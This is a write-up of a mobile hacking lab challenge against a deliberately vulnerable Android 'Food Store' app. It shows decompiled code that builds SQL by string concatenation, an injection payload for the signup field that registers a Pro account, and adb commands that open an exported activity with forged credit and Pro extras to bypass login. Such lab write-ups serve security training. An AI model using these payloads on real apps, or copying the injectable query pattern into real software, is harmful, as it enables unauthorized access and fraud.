Post

Food Store - Mobile Hacking Lab

Food Store - Mobile Hacking Lab


Introduction

Welcome to the Android App Security Lab: SQL Injection Challenge! Dive into the world of cybersecurity with our hands-on lab. This challenge is centered around a fictitious “Food Store” app, highlighting the critical security flaw of SQL Injection (SQLi) within the app’s framework.


Objective

Exploit a SQL Injection Vulnerability: Your mission is to manipulate the signup function in the “Food Store” Android application, allowing you to register as a Pro user, bypassing standard user restrictions.


The sign up screen enables the creation of a new user account by entering a username, password, and address. Upon successful sign-up, a toast message is displayed confirming the account creation.




The sign-in screen enables you to log in using your username and password. Upon successful sign-in, the product listing screen is displayed.



The product listing screen shows user information and allows you to order products using credits. A standard account has a limited number of credits available for placing orders.





Analyzing the application using JADX

From: AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<activity
    android:name="com.mobilehackinglab.foodstore.Signup"
    android:exported="false"/>
<activity
    android:name="com.mobilehackinglab.foodstore.MainActivity"
    android:exported="true"/>
<activity
    android:name="com.mobilehackinglab.foodstore.LoginActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>


From: com.mobilehackinglab.foodstore.Signup

1
2
3
User newUser = new User(i, obj, obj2, editText2.getText().toString(), false, 1, null);
dbHelper.addUser(newUser);
Toast.makeText(this$0, "User Registered Successfully", 0).show();


From: com.mobilehackinglab.foodstore.DBHelper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public final class DBHelper extends SQLiteOpenHelper {
    public static final String DATABASE_NAME = "userdatabase.db";
    public static final int DATABASE_VERSION = 1;


    @Override // android.database.sqlite.SQLiteOpenHelper
    public void onCreate(SQLiteDatabase db) {
        Intrinsics.checkNotNullParameter(db, "db");
        db.execSQL("CREATE TABLE users (\n    id INTEGER PRIMARY KEY AUTOINCREMENT,\n    username TEXT,\n    password TEXT,\n    address TEXT,\n    isPro INTEGER\n    \n    \n)");
    }

    
    
    
        public final void addUser(User user) {
        Intrinsics.checkNotNullParameter(user, "user");
        SQLiteDatabase db = getWritableDatabase();
        byte[] bytes = user.getPassword().getBytes(Charsets.UTF_8);
        Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)");
        String encodedPassword = Base64.encodeToString(bytes, 0);
        String Username = user.getUsername();
        byte[] bytes2 = user.getAddress().getBytes(Charsets.UTF_8);
        Intrinsics.checkNotNullExpressionValue(bytes2, "this as java.lang.String).getBytes(charset)");
        String encodedAddress = Base64.encodeToString(bytes2, 0);
        String sql = "INSERT INTO users (username, password, address, isPro) VALUES ('" + Username + "', '" + encodedPassword + "', '" + encodedAddress + "', 0)";
        db.execSQL(sql);
        db.close();
    }
}

The above code inserts a new entry into the users table with the following values:

  • Username: User-provided username
  • Password: Base64-encoded password
  • Address: Base64-encoded address
  • isPro: Set to 0, which represents false

For the example user, the values are:

  • Username: test
  • Password: dGVzdA== (Base64-encoded test)
  • Address: RWd5cHQ= (Base64-encoded Egypt)
  • isPro: 0 (false)

This translates into the following SQL statement:

1
INSERT INTO users (username, password, address, isPro) VALUES ('test', 'dGVzdA==', 'RWd5cHQ=', 0);




Exploit the SQLi

we need to create a new user with base64 password and address and

1
test2','MTIzNA==','RWd5cHQ=',1);#


Should result in the following query:

1
INSERT INTO users (username, password, address, isPro) VALUES ('test2','MTIzNA==','RWd5cHQ=',1);# ', 'dGVzdA==', 'RWd5cHQ=', 0)

The values will be:

  • Username: test2
  • Password (Base64-encoded 1234): MTIzNA==
  • Address: Any address in Base64 (for example Egypt): RWd5cHQ=
  • isPro: 1 (true, indicating a pro user)




Login with the new user:

Now we are a Pro user



Authentication Bypass

It is important to note that MainActivity, intended to be accessible only after a successful sign-in, was exported, making it possible to access it directly.

1
adb shell am start -n com.mobilehackinglab.foodstore/.MainActivity




From: com.mobilehackinglab.foodstore.LoginActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static final void onCreate$lambda$1(EditText $usernameEditText, EditText $passwordEditText, LoginActivity this$0, View it) {
    Intrinsics.checkNotNullParameter(this$0, "this$0");
    String inputUsername = $usernameEditText.getText().toString();
    String inputPassword = $passwordEditText.getText().toString();
    User user = this$0.getDbHelper().getUserByUsername(inputUsername);
    if (user == null || !Intrinsics.areEqual(user.getPassword(), inputPassword)) {
        Toast.makeText(this$0, "Invalid Credentials", 0).show();
        return;
    }
    Toast.makeText(this$0, "Login Successful", 0).show();
    int credit = user.isPro() ? 10000 : 100;
    Intent intent = new Intent(this$0, (Class<?>) MainActivity.class);
    intent.putExtra("USERNAME", inputUsername);
    intent.putExtra("USER_CREDIT", credit);
    intent.putExtra("IS_PRO_USER", user.isPro());
    intent.putExtra("USER_ADDRESS", user.getAddress());
    this$0.startActivity(intent);
    this$0.finish();
}

a ternary operator to assign credits based on the user type:

  • If the user is Pro (user.isPro() returns true), the user gets 10,000 credits.
  • If the user is Normal (user.isPro() returns false), the user gets only 100 credits.

The user’s information, including username, credits, address, and account type, is passed to the next activity through Intent extras.


adb

1
adb shell am start -n com.mobilehackinglab.foodstore/.MainActivity --es "USERNAME" "test3" --ei "USER_CREDIT" 133337 --ez "IS_PRO_USER" true --es "USER_ADDRESS" "Egypt"


This post is licensed under CC BY 4.0 by the author.